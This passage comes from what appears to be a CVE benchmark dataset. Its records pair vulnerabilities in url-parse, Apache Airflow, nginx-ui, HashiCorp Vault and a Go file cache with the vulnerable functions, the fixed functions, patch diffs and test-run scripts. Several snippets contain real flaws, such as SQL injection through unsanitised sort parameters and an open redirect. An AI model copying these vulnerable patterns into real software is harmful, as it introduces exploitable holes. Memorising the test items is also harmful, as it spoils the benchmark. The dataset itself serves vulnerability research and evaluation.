berror.Wrapf(err, CreateFileCacheDirFailed,\n\t\t\t\t\"could not create the directory: %s\", cachePath)\n\t\t}\n\t}\n\n\treturn filepath.Join(cachePath, fmt.Sprintf(\"%s%s\", keyMd5, fc.FileSuffix)), nil\n}"}], "fix_func": [{"id": "fix_go_273_1", "commit": "e7fa4835f71f47ab1d13afd638cebf661800d5a4", "file_path": "client/cache/file.go", "start_line": 125, "end_line": 150, "snippet": "func (fc *FileCache) getCacheFileName(key string) (string, error) {\n\tm := sha256.New()\n\t_, _ = io.WriteString(m, key)\n\tkeySha256 := hex.EncodeToString(m.Sum(nil))\n\tcachePath := fc.CachePath\n\tswitch fc.DirectoryLevel {\n\tcase 2:\n\t\tcachePath = filepath.Join(cachePath, keySha256[0:2], keySha256[2:4])\n\tcase 1:\n\t\tcachePath = filepath.Join(cachePath, keySha256[0:2])\n\t}\n\tok, err := exists(cachePath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif !ok {\n\t\tfmt.Printf(\"cachePath: %s\\n\", cachePath)\n\t\terr = os.MkdirAll(cachePath, os.ModePerm)\n\t\tif err != nil {\n\t\t\treturn \"\", berror.Wrapf(err, CreateFileCacheDirFailed,\n\t\t\t\t\"could not create the directory: %s\", cachePath)\n\t\t}\n\t}\n\n\treturn filepath.Join(cachePath, fmt.Sprintf(\"%s%s\", keySha256, fc.FileSuffix)), nil\n}"}], "vul_patch": "--- a/client/cache/file.go\n+++ b/client/cache/file.go\n@@ -1,19 +1,20 @@\n func (fc *FileCache) getCacheFileName(key string) (string, error) {\n-\tm := md5.New()\n+\tm := sha256.New()\n \t_, _ = io.WriteString(m, key)\n-\tkeyMd5 := hex.EncodeToString(m.Sum(nil))\n+\tkeySha256 := hex.EncodeToString(m.Sum(nil))\n \tcachePath := fc.CachePath\n \tswitch fc.DirectoryLevel {\n \tcase 2:\n-\t\tcachePath = filepath.Join(cachePath, keyMd5[0:2], keyMd5[2:4])\n+\t\tcachePath = filepath.Join(cachePath, keySha256[0:2], keySha256[2:4])\n \tcase 1:\n-\t\tcachePath = filepath.Join(cachePath, keyMd5[0:2])\n+\t\tcachePath = filepath.Join(cachePath, keySha256[0:2])\n \t}\n \tok, err := exists(cachePath)\n \tif err != nil {\n \t\treturn \"\", err\n \t}\n \tif !ok {\n+\t\tfmt.Printf(\"cachePath: %s\\n\", cachePath)\n \t\terr = os.MkdirAll(cachePath, os.ModePerm)\n \t\tif err != nil {\n \t\t\treturn \"\", berror.Wrapf(err, CreateFileCacheDirFailed,\n@@ -21,5 +22,5 @@\n \t\t}\n \t}\n \n-\treturn filepath.Join(cachePath, fmt.Sprintf(\"%s%s\", keyMd5, fc.FileSuffix)), nil\n+\treturn filepath.Join(cachePath, fmt.Sprintf(\"%s%s\", keySha256, fc.FileSuffix)), nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0686", "cve_description": "Authorization Bypass Through User-Controlled Key in NPM url-parse prior to 1.5.8.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/unshiftio/url-parse", "patch_url": ["https://github.com/unshiftio/url-parse/commit/d5c64791ef496ca5459ae7f2176a31ea53b127e5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_35_1", "commit": "4f2ae67", "file_path": "index.js", "start_line": 33, "end_line": 44, "snippet": "var rules = [\n  ['#', 'hash'],                        // Extract from the back.\n  ['?', 'query'],                       // Extract from the back.\n  function sanitize(address, url) {     // Sanitize what is left of the address\n    return isSpecial(url.protocol) ? address.replace(/\\\\/g, '/') : address;\n  },\n  ['/', 'pathname'],                    // Extract from the back.\n  ['@', 'auth', 1],                     // Extract from the front.\n  [NaN, 'host', undefined, 1, 1],       // Set left over value.\n  [/:(\\d+)$/, 'port', undefined, 1],    // RegExp the back.\n  [NaN, 'hostname', undefined, 1, 1]    // Set left over.\n];"}, {"id": "vul_js_35_2", "commit": "4f2ae67", "file_path": "index.js", "start_line": 522, "end_line": 563, "snippet": "function toString(stringify) {\n  if (!stringify || 'function' !== typeof stringify) stringify = qs.stringify;\n\n  var query\n    , url = this\n    , protocol = url.protocol;\n\n  if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n\n  var result =\n    protocol +\n    ((url.protocol && url.slashes) || isSpecial(url.protocol) ? '//' : '');\n\n  if (url.username) {\n    result += url.username;\n    if (url.password) result += ':'+ url.password;\n    result += '@';\n  } else if (url.password) {\n    result += ':'+ url.password;\n    result += '@';\n  } else if (\n    url.protocol !== 'file:' &&\n    isSpecial(url.protocol) &&\n    !url.host &&\n    url.pathname !== '/'\n  ) {\n    //\n    // Add back the empty userinfo, otherwise the original invalid URL\n    // might be transformed into a valid one with `url.pathname` as host.\n    //\n    result += '@';\n  }\n\n  result += url.host + url.pathname;\n\n  query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n  if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n  if (url.hash) result += url.hash;\n\n  return result;\n}"}], "fix_func": [{"id": "fix_js_35_1", "commit": "d5c6479", "file_path": "index.js", "start_line": 33, "end_line": 44, "snippet": "var rules = [\n  ['#', 'hash'],                        // Extract from the back.\n  ['?', 'query'],                       // Extract from the back.\n  function sanitize(address, url) {     // Sanitize what is left of the address\n    return isSpecial(url.protocol) ? address.replace(/\\\\/g, '/') : address;\n  },\n  ['/', 'pathname'],                    // Extract from the back.\n  ['@', 'auth', 1],                     // Extract from the front.\n  [NaN, 'host', undefined, 1, 1],       // Set left over value.\n  [/:(\\d*)$/, 'port', undefined, 1],    // RegExp the back.\n  [NaN, 'hostname', undefined, 1, 1]    // Set left over.\n];"}, {"id": "fix_js_35_2", "commit": "d5c6479", "file_path": "index.js", "start_line": 522, "end_line": 570, "snippet": "function toString(stringify) {\n  if (!stringify || 'function' !== typeof stringify) stringify = qs.stringify;\n\n  var query\n    , url = this\n    , host = url.host\n    , protocol = url.protocol;\n\n  if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n\n  var result =\n    protocol +\n    ((url.protocol && url.slashes) || isSpecial(url.protocol) ? '//' : '');\n\n  if (url.username) {\n    result += url.username;\n    if (url.password) result += ':'+ url.password;\n    result += '@';\n  } else if (url.password) {\n    result += ':'+ url.password;\n    result += '@';\n  } else if (\n    url.protocol !== 'file:' &&\n    isSpecial(url.protocol) &&\n    !host &&\n    url.pathname !== '/'\n  ) {\n    //\n    // Add back the empty userinfo, otherwise the original invalid URL\n    // might be transformed into a valid one with `url.pathname` as host.\n    //\n    result += '@';\n  }\n\n  //\n  // Trailing colon is removed from `url.host` when it is parsed. If it still\n  // ends with a colon, then add back the trailing colon that was removed. This\n  // prevents an invalid URL from being transformed into a valid one.\n  //\n  if (host[host.length - 1] === ':') host += ':';\n  result += host + url.pathname;\n\n  query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n  if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n  if (url.hash) result += url.hash;\n\n  return result;\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -7,6 +7,6 @@\n   ['/', 'pathname'],                    // Extract from the back.\n   ['@', 'auth', 1],                     // Extract from the front.\n   [NaN, 'host', undefined, 1, 1],       // Set left over value.\n-  [/:(\\d+)$/, 'port', undefined, 1],    // RegExp the back.\n+  [/:(\\d*)$/, 'port', undefined, 1],    // RegExp the back.\n   [NaN, 'hostname', undefined, 1, 1]    // Set left over.\n ];\n\n--- a/index.js\n+++ b/index.js\n@@ -3,6 +3,7 @@\n \n   var query\n     , url = this\n+    , host = url.host\n     , protocol = url.protocol;\n \n   if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n@@ -21,7 +22,7 @@\n   } else if (\n     url.protocol !== 'file:' &&\n     isSpecial(url.protocol) &&\n-    !url.host &&\n+    !host &&\n     url.pathname !== '/'\n   ) {\n     //\n@@ -31,7 +32,13 @@\n     result += '@';\n   }\n \n-  result += url.host + url.pathname;\n+  //\n+  // Trailing colon is removed from `url.host` when it is parsed. If it still\n+  // ends with a colon, then add back the trailing colon that was removed. This\n+  // prevents an invalid URL from being transformed into a valid one.\n+  //\n+  if (host[host.length - 1] === ':') host += ':';\n+  result += host + url.pathname;\n \n   query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n   if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0686:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha --grep \"handles the case where the port is specified but empty\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0686:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha test/test.js"}
{"cve_id": "CVE-2022-40754", "cve_description": "In Apache Airflow 2.3.0 through 2.3.4, there was an open redirect in the webserver's `/confirm` endpoint.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/56e7555c42f013f789a4b718676ff09b4a9d5135", "https://github.com/apache/airflow/commit/3871f00230b7064e6234aa65b8a00ee2b6d33e4c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_257_1", "commit": "e458eb6", "file_path": "airflow/www/views.py", "start_line": 2325, "end_line": 2407, "snippet": "    def confirm(self):\n        \"\"\"Show confirmation page for marking tasks as success or failed.\"\"\"\n        args = request.args\n        dag_id = args.get('dag_id')\n        task_id = args.get('task_id')\n        dag_run_id = args.get('dag_run_id')\n        state = args.get('state')\n        origin = args.get('origin')\n\n        if 'map_index' not in args:\n            map_indexes: list[int] | None = None\n        else:\n            map_indexes = args.getlist('map_index', type=int)\n\n        upstream = to_boolean(args.get('upstream'))\n        downstream = to_boolean(args.get('downstream'))\n        future = to_boolean(args.get('future'))\n        past = to_boolean(args.get('past'))\n        origin = origin or url_for('Airflow.index')\n\n        dag = get_airflow_app().dag_bag.get_dag(dag_id)\n        if not dag:\n            msg = f'DAG {dag_id} not found'\n            return redirect_or_json(origin, msg, status='error', status_code=404)\n\n        try:\n            task = dag.get_task(task_id)\n        except airflow.exceptions.TaskNotFound:\n            msg = f\"Task {task_id} not found\"\n            return redirect_or_json(origin, msg, status='error', status_code=404)\n\n        task.dag = dag\n\n        if state not in (\n            'success',\n            'failed',\n        ):\n            msg = f\"Invalid state {state}, must be either 'success' or 'failed'\"\n            return redirect_or_json(origin, msg, status='error', status_code=400)\n\n        latest_execution_date = dag.get_latest_execution_date()\n        if not latest_execution_date:\n            msg = f\"Cannot mark tasks as {state}, seem that dag {dag_id} has never run\"\n            return redirect_or_json(origin, msg, status='error', status_code=400)\n\n        if map_indexes is None:\n            tasks: list[Operator] | list[tuple[Operator, int]] = [task]\n        else:\n            tasks = [(task, map_index) for map_index in map_indexes]\n\n        to_be_altered = set_state(\n            tasks=tasks,\n            run_id=dag_run_id,\n            upstream=upstream,\n            downstream=downstream,\n            future=future,\n            past=past,\n            state=state,\n            commit=False,\n        )\n\n        if request.headers.get('Accept') == 'application/json':\n            details = [str(t) for t in to_be_altered]\n            return htmlsafe_json_dumps(details, separators=(',', ':'))\n\n        details = \"\\n\".join(str(t) for t in to_be_altered)\n\n        response = self.render_template(\n            \"airflow/confirm.html\",\n            endpoint=url_for(f'Airflow.{state}'),\n            message=f\"Task instances you are about to mark as {state}:\",\n            details=details,\n        )\n\n        return response\n\n    @expose('/failed', methods=['POST'])\n    @auth.has_access(\n        [\n            (permissions.ACTION_CAN_EDIT, permissions.RESOURCE_DAG),\n            (permissions.ACTION_CAN_EDIT, permissions.RESOURCE_TASK_INSTANCE),\n        ]\n    )"}], "fix_func": [{"id": "fix_py_257_1", "commit": "56e7555", "file_path": "airflow/www/views.py", "start_line": 2325, "end_line": 2407, "snippet": "    def confirm(self):\n        \"\"\"Show confirmation page for marking tasks as success or failed.\"\"\"\n        args = request.args\n        dag_id = args.get('dag_id')\n        task_id = args.get('task_id')\n        dag_run_id = args.get('dag_run_id')\n        state = args.get('state')\n        origin = get_safe_url(args.get('origin'))\n\n        if 'map_index' not in args:\n            map_indexes: list[int] | None = None\n        else:\n            map_indexes = args.getlist('map_index', type=int)\n\n        upstream = to_boolean(args.get('upstream'))\n        downstream = to_boolean(args.get('downstream'))\n        future = to_boolean(args.get('future'))\n        past = to_boolean(args.get('past'))\n        origin = origin or url_for('Airflow.index')\n\n        dag = get_airflow_app().dag_bag.get_dag(dag_id)\n        if not dag:\n            msg = f'DAG {dag_id} not found'\n            return redirect_or_json(origin, msg, status='error', status_code=404)\n\n        try:\n            task = dag.get_task(task_id)\n        except airflow.exceptions.TaskNotFound:\n            msg = f\"Task {task_id} not found\"\n            return redirect_or_json(origin, msg, status='error', status_code=404)\n\n        task.dag = dag\n\n        if state not in (\n            'success',\n            'failed',\n        ):\n            msg = f\"Invalid state {state}, must be either 'success' or 'failed'\"\n            return redirect_or_json(origin, msg, status='error', status_code=400)\n\n        latest_execution_date = dag.get_latest_execution_date()\n        if not latest_execution_date:\n            msg = f\"Cannot mark tasks as {state}, seem that dag {dag_id} has never run\"\n            return redirect_or_json(origin, msg, status='error', status_code=400)\n\n        if map_indexes is None:\n            tasks: list[Operator] | list[tuple[Operator, int]] = [task]\n        else:\n            tasks = [(task, map_index) for map_index in map_indexes]\n\n        to_be_altered = set_state(\n            tasks=tasks,\n            run_id=dag_run_id,\n            upstream=upstream,\n            downstream=downstream,\n            future=future,\n            past=past,\n            state=state,\n            commit=False,\n        )\n\n        if request.headers.get('Accept') == 'application/json':\n            details = [str(t) for t in to_be_altered]\n            return htmlsafe_json_dumps(details, separators=(',', ':'))\n\n        details = \"\\n\".join(str(t) for t in to_be_altered)\n\n        response = self.render_template(\n            \"airflow/confirm.html\",\n            endpoint=url_for(f'Airflow.{state}'),\n            message=f\"Task instances you are about to mark as {state}:\",\n            details=details,\n        )\n\n        return response\n\n    @expose('/failed', methods=['POST'])\n    @auth.has_access(\n        [\n            (permissions.ACTION_CAN_EDIT, permissions.RESOURCE_DAG),\n            (permissions.ACTION_CAN_EDIT, permissions.RESOURCE_TASK_INSTANCE),\n        ]\n    )"}], "vul_patch": "--- a/airflow/www/views.py\n+++ b/airflow/www/views.py\n@@ -5,7 +5,7 @@\n         task_id = args.get('task_id')\n         dag_run_id = args.get('dag_run_id')\n         state = args.get('state')\n-        origin = args.get('origin')\n+        origin = get_safe_url(args.get('origin'))\n \n         if 'map_index' not in args:\n             map_indexes: list[int] | None = None\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-22196", "cve_description": "Nginx-UI is an online statistics for Server Indicators\u200b\u200b Monitor CPU usage, memory usage, load average, and disk usage in real-time. This issue may lead to information disclosure. By using `DefaultQuery`, the `\"desc\"` and `\"id\"` values are used as default values if the query parameters are not set. Thus, the `order` and `sort_by` query parameter are user-controlled and are being appended to the `order` variable without any sanitization. This issue has been patched in version 2.0.0.beta.9.\n\n", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/0xJacky/nginx-ui", "patch_url": ["https://github.com/0xJacky/nginx-ui/commit/ec93ab05a3ecbb6bcf464d9dca48d74452df8a5b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_231_1", "commit": "827e76c", "file_path": "api/cosy/sort.go", "start_line": 9, "end_line": 15, "snippet": "func (c *Ctx[T]) SortOrder() func(db *gorm.DB) *gorm.DB {\n\treturn func(db *gorm.DB) *gorm.DB {\n\t\tsort := c.ctx.DefaultQuery(\"order\", \"desc\")\n\t\torder := fmt.Sprintf(\"%s %s\", DefaultQuery(c.ctx, \"sort_by\", c.itemKey), sort)\n\t\treturn db.Order(order)\n\t}\n}"}, {"id": "vul_go_231_2", "commit": "827e76c", "file_path": "api/cosy/sort.go", "start_line": 17, "end_line": 28, "snippet": "func (c *Ctx[T]) OrderAndPaginate() func(db *gorm.DB) *gorm.DB {\n\treturn func(db *gorm.DB) *gorm.DB {\n\t\tsort := c.ctx.DefaultQuery(\"order\", \"desc\")\n\n\t\torder := fmt.Sprintf(\"%s %s\", DefaultQuery(c.ctx, \"sort_by\", c.itemKey), sort)\n\t\tdb = db.Order(order)\n\n\t\t_, offset, pageSize := GetPagingParams(c.ctx)\n\n\t\treturn db.Offset(offset).Limit(pageSize)\n\t}\n}"}, {"id": "vul_go_231_3", "commit": "827e76c", "file_path": "model/model.go", "start_line": 100, "end_line": 120, "snippet": "func OrderAndPaginate(c *gin.Context) func(db *gorm.DB) *gorm.DB {\n\treturn func(db *gorm.DB) *gorm.DB {\n\t\tsort := c.DefaultQuery(\"order\", \"desc\")\n\n\t\torder := fmt.Sprintf(\"`%s` %s\", DefaultQuery(c, \"sort_by\", \"id\"), sort)\n\t\tdb = db.Order(order)\n\n\t\tpage := cast.ToInt(c.Query(\"page\"))\n\t\tif page == 0 {\n\t\t\tpage = 1\n\t\t}\n\t\tpageSize := settings.ServerSettings.PageSize\n\t\treqPageSize := c.Query(\"page_size\")\n\t\tif reqPageSize != \"\" {\n\t\t\tpageSize = cast.ToInt(reqPageSize)\n\t\t}\n\t\toffset := (page - 1) * pageSize\n\n\t\treturn db.Offset(offset).Limit(pageSize)\n\t}\n}"}], "fix_func": [{"id": "fix_go_231_1", "commit": "ec93ab05a3ecbb6bcf464d9dca48d74452df8a5b", "file_path": "api/cosy/sort.go", "start_line": 12, "end_line": 32, "snippet": "func (c *Ctx[T]) SortOrder() func(db *gorm.DB) *gorm.DB {\n\treturn func(db *gorm.DB) *gorm.DB {\n\t\tsort := c.ctx.DefaultQuery(\"order\", \"desc\")\n\t\tif sort != \"desc\" && sort != \"asc\" {\n\t\t\tsort = \"desc\"\n\t\t}\n\n\t\t// check if the order field is valid\n\t\t// todo: maybe we can use more generic way to check if the sort_by is valid\n\t\torder := DefaultQuery(c.ctx, \"sort_by\", c.itemKey)\n\t\ts, _ := schema.Parse(c.Model, &sync.Map{}, schema.NamingStrategy{})\n\t\tif _, ok := s.FieldsByDBName[order]; ok {\n\t\t\torder = fmt.Sprintf(\"%s %s\", order, sort)\n\t\t\treturn db.Order(order)\n\t\t} else {\n\t\t\tlogger.Error(\"invalid order field:\", order)\n\t\t}\n\n\t\treturn db\n\t}\n}"}, {"id": "fix_go_231_2", "commit": "ec93ab05a3ecbb6bcf464d9dca48d74452df8a5b", "file_path": "api/cosy/sort.go", "start_line": 32, "end_line": 40, "snippet": "}\n\nfunc (c *Ctx[T]) OrderAndPaginate() func(db *gorm.DB) *gorm.DB {\n\treturn func(db *gorm.DB) *gorm.DB {\n\t\tdb = c.SortOrder()(db)\n\t\t_, offset, pageSize := GetPagingParams(c.ctx)\n\t\treturn db.Offset(offset).Limit(pageSize)\n\t}\n}"}, {"id": "fix_go_231_3", "commit": "ec93ab05a3ecbb6bcf464d9dca48d74452df8a5b", "file_path": "model/model.go", "start_line": 102, "end_line": 132, "snippet": "func OrderAndPaginate(c *gin.Context) func(db *gorm.DB) *gorm.DB {\n\treturn func(db *gorm.DB) *gorm.DB {\n\t\tsort := c.DefaultQuery(\"order\", \"desc\")\n\t\tif sort != \"desc\" && sort != \"asc\" {\n\t\t\tsort = \"desc\"\n\t\t}\n\n\t\t// check if the order field is valid\n\t\torder := c.DefaultQuery(\"sort_by\", \"id\")\n\t\ts, _ := schema.Parse(db.Model, &sync.Map{}, schema.NamingStrategy{})\n\t\tif _, ok := s.FieldsByName[order]; ok {\n\t\t\torder = fmt.Sprintf(\"%s %s\", order, sort)\n\t\t\tdb = db.Order(order)\n\t\t} else {\n\t\t\tlogger.Error(\"invalid order field: \", order)\n\t\t}\n\n\t\tpage := cast.ToInt(c.Query(\"page\"))\n\t\tif page == 0 {\n\t\t\tpage = 1\n\t\t}\n\t\tpageSize := settings.ServerSettings.PageSize\n\t\treqPageSize := c.Query(\"page_size\")\n\t\tif reqPageSize != \"\" {\n\t\t\tpageSize = cast.ToInt(reqPageSize)\n\t\t}\n\t\toffset := (page - 1) * pageSize\n\n\t\treturn db.Offset(offset).Limit(pageSize)\n\t}\n}"}], "vul_patch": "--- a/api/cosy/sort.go\n+++ b/api/cosy/sort.go\n@@ -1,7 +1,21 @@\n func (c *Ctx[T]) SortOrder() func(db *gorm.DB) *gorm.DB {\n \treturn func(db *gorm.DB) *gorm.DB {\n \t\tsort := c.ctx.DefaultQuery(\"order\", \"desc\")\n-\t\torder := fmt.Sprintf(\"%s %s\", DefaultQuery(c.ctx, \"sort_by\", c.itemKey), sort)\n-\t\treturn db.Order(order)\n+\t\tif sort != \"desc\" && sort != \"asc\" {\n+\t\t\tsort = \"desc\"\n+\t\t}\n+\n+\t\t// check if the order field is valid\n+\t\t// todo: maybe we can use more generic way to check if the sort_by is valid\n+\t\torder := DefaultQuery(c.ctx, \"sort_by\", c.itemKey)\n+\t\ts, _ := schema.Parse(c.Model, &sync.Map{}, schema.NamingStrategy{})\n+\t\tif _, ok := s.FieldsByDBName[order]; ok {\n+\t\t\torder = fmt.Sprintf(\"%s %s\", order, sort)\n+\t\t\treturn db.Order(order)\n+\t\t} else {\n+\t\t\tlogger.Error(\"invalid order field:\", order)\n+\t\t}\n+\n+\t\treturn db\n \t}\n }\n\n--- a/api/cosy/sort.go\n+++ b/api/cosy/sort.go\n@@ -1,12 +1,9 @@\n+}\n+\n func (c *Ctx[T]) OrderAndPaginate() func(db *gorm.DB) *gorm.DB {\n \treturn func(db *gorm.DB) *gorm.DB {\n-\t\tsort := c.ctx.DefaultQuery(\"order\", \"desc\")\n-\n-\t\torder := fmt.Sprintf(\"%s %s\", DefaultQuery(c.ctx, \"sort_by\", c.itemKey), sort)\n-\t\tdb = db.Order(order)\n-\n+\t\tdb = c.SortOrder()(db)\n \t\t_, offset, pageSize := GetPagingParams(c.ctx)\n-\n \t\treturn db.Offset(offset).Limit(pageSize)\n \t}\n }\n\n--- a/model/model.go\n+++ b/model/model.go\n@@ -1,9 +1,19 @@\n func OrderAndPaginate(c *gin.Context) func(db *gorm.DB) *gorm.DB {\n \treturn func(db *gorm.DB) *gorm.DB {\n \t\tsort := c.DefaultQuery(\"order\", \"desc\")\n+\t\tif sort != \"desc\" && sort != \"asc\" {\n+\t\t\tsort = \"desc\"\n+\t\t}\n \n-\t\torder := fmt.Sprintf(\"`%s` %s\", DefaultQuery(c, \"sort_by\", \"id\"), sort)\n-\t\tdb = db.Order(order)\n+\t\t// check if the order field is valid\n+\t\torder := c.DefaultQuery(\"sort_by\", \"id\")\n+\t\ts, _ := schema.Parse(db.Model, &sync.Map{}, schema.NamingStrategy{})\n+\t\tif _, ok := s.FieldsByName[order]; ok {\n+\t\t\torder = fmt.Sprintf(\"%s %s\", order, sort)\n+\t\t\tdb = db.Order(order)\n+\t\t} else {\n+\t\t\tlogger.Error(\"invalid order field: \", order)\n+\t\t}\n \n \t\tpage := cast.ToInt(c.Query(\"page\"))\n \t\tif page == 0 {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-10661", "cve_description": "HashiCorp Vault and Vault Enterprise versions 0.11.0 through 1.3.3 may, under certain circumstances, have existing nested-path policies grant access to Namespaces created after-the-fact. Fixed in 1.3.4.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/hashicorp/vault", "patch_url": ["https://github.com/hashicorp/vault/commit/18485ee9d4352ac8e8396c580b5941ccf8e5b31a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_174_1", "commit": "199ef39", "file_path": "vault/expiration.go", "start_line": 923, "end_line": 1036, "snippet": "func (m *ExpirationManager) RenewToken(ctx context.Context, req *logical.Request, te *logical.TokenEntry,\n\tincrement time.Duration) (*logical.Response, error) {\n\tdefer metrics.MeasureSince([]string{\"expire\", \"renew-token\"}, time.Now())\n\n\ttokenNS, err := NamespaceByID(ctx, te.NamespaceID, m.core)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif tokenNS == nil {\n\t\treturn nil, namespace.ErrNoNamespace\n\t}\n\n\tns, err := namespace.FromContext(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif ns.ID != tokenNS.ID {\n\t\treturn nil, errors.New(\"cannot renew a token across namespaces\")\n\t}\n\n\t// Compute the Lease ID\n\tsaltedID, err := m.tokenStore.SaltID(ctx, te.ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tleaseID := path.Join(te.Path, saltedID)\n\n\tif ns.ID != namespace.RootNamespaceID {\n\t\tleaseID = fmt.Sprintf(\"%s.%s\", leaseID, ns.ID)\n\t}\n\n\t// Load the entry\n\tle, err := m.loadEntry(ctx, leaseID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif le == nil {\n\t\treturn logical.ErrorResponse(\"invalid lease ID\"), logical.ErrInvalidRequest\n\t}\n\n\t// Check if the lease is renewable. Note that this also checks for a nil\n\t// lease and errors in that case as well.\n\tif _, err := le.renewable(); err != nil {\n\t\treturn logical.ErrorResponse(err.Error()), logical.ErrInvalidRequest\n\t}\n\n\t// Attempt to renew the auth entry\n\tresp, err := m.renewAuthEntry(ctx, req, le, increment)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp == nil {\n\t\treturn nil, nil\n\t}\n\tif resp.IsError() {\n\t\treturn &logical.Response{\n\t\t\tData: resp.Data,\n\t\t}, nil\n\t}\n\tif resp.Auth == nil {\n\t\treturn nil, nil\n\t}\n\n\tsysViewCtx := namespace.ContextWithNamespace(ctx, le.namespace)\n\tsysView := m.router.MatchingSystemView(sysViewCtx, le.Path)\n\tif sysView == nil {\n\t\treturn nil, fmt.Errorf(\"unable to retrieve system view from router\")\n\t}\n\n\tttl, warnings, err := framework.CalculateTTL(sysView, increment, resp.Auth.TTL, resp.Auth.Period, resp.Auth.MaxTTL, resp.Auth.ExplicitMaxTTL, le.IssueTime)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tretResp := &logical.Response{}\n\tfor _, warning := range warnings {\n\t\tretResp.AddWarning(warning)\n\t}\n\tresp.Auth.TTL = ttl\n\n\t// Attach the ClientToken\n\tresp.Auth.ClientToken = te.ID\n\n\t// Refresh groups\n\tif resp.Auth.EntityID != \"\" &&\n\t\tresp.Auth.GroupAliases != nil &&\n\t\tm.core.identityStore != nil {\n\t\tvalidAliases, err := m.core.identityStore.refreshExternalGroupMembershipsByEntityID(ctx, resp.Auth.EntityID, resp.Auth.GroupAliases)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tresp.Auth.GroupAliases = validAliases\n\t}\n\n\t// Update the lease entry\n\tle.Auth = resp.Auth\n\tle.ExpireTime = resp.Auth.ExpirationTime()\n\tle.LastRenewalTime = time.Now()\n\n\t{\n\t\tm.pendingLock.Lock()\n\t\tif err := m.persistEntry(ctx, le); err != nil {\n\t\t\tm.pendingLock.Unlock()\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// Update the expiration time\n\t\tm.updatePendingInternal(le, resp.Auth.LeaseTotal())\n\t\tm.pendingLock.Unlock()\n\t}\n\n\tretResp.Auth = resp.Auth\n\treturn retResp, nil\n}"}, {"id": "vul_go_174_2", "commit": "199ef39", "file_path": "vault/request_handling.go", "start_line": 919, "end_line": 1168, "snippet": "func (c *Core) handleLoginRequest(ctx context.Context, req *logical.Request) (retResp *logical.Response, retAuth *logical.Auth, retErr error) {\n\tdefer metrics.MeasureSince([]string{\"core\", \"handle_login_request\"}, time.Now())\n\n\treq.Unauthenticated = true\n\n\tvar nonHMACReqDataKeys []string\n\tentry := c.router.MatchingMountEntry(ctx, req.Path)\n\tif entry != nil {\n\t\t// Get and set ignored HMAC'd value.\n\t\tif rawVals, ok := entry.synthesizedConfigCache.Load(\"audit_non_hmac_request_keys\"); ok {\n\t\t\tnonHMACReqDataKeys = rawVals.([]string)\n\t\t}\n\t}\n\n\t// Do an unauth check. This will cause EGP policies to be checked\n\tvar auth *logical.Auth\n\tvar ctErr error\n\tauth, _, ctErr = c.checkToken(ctx, req, true)\n\tif ctErr == logical.ErrPerfStandbyPleaseForward {\n\t\treturn nil, nil, ctErr\n\t}\n\tif ctErr != nil {\n\t\t// If it is an internal error we return that, otherwise we\n\t\t// return invalid request so that the status codes can be correct\n\t\tvar errType error\n\t\tswitch ctErr {\n\t\tcase ErrInternalError, logical.ErrPermissionDenied:\n\t\t\terrType = ctErr\n\t\tdefault:\n\t\t\terrType = 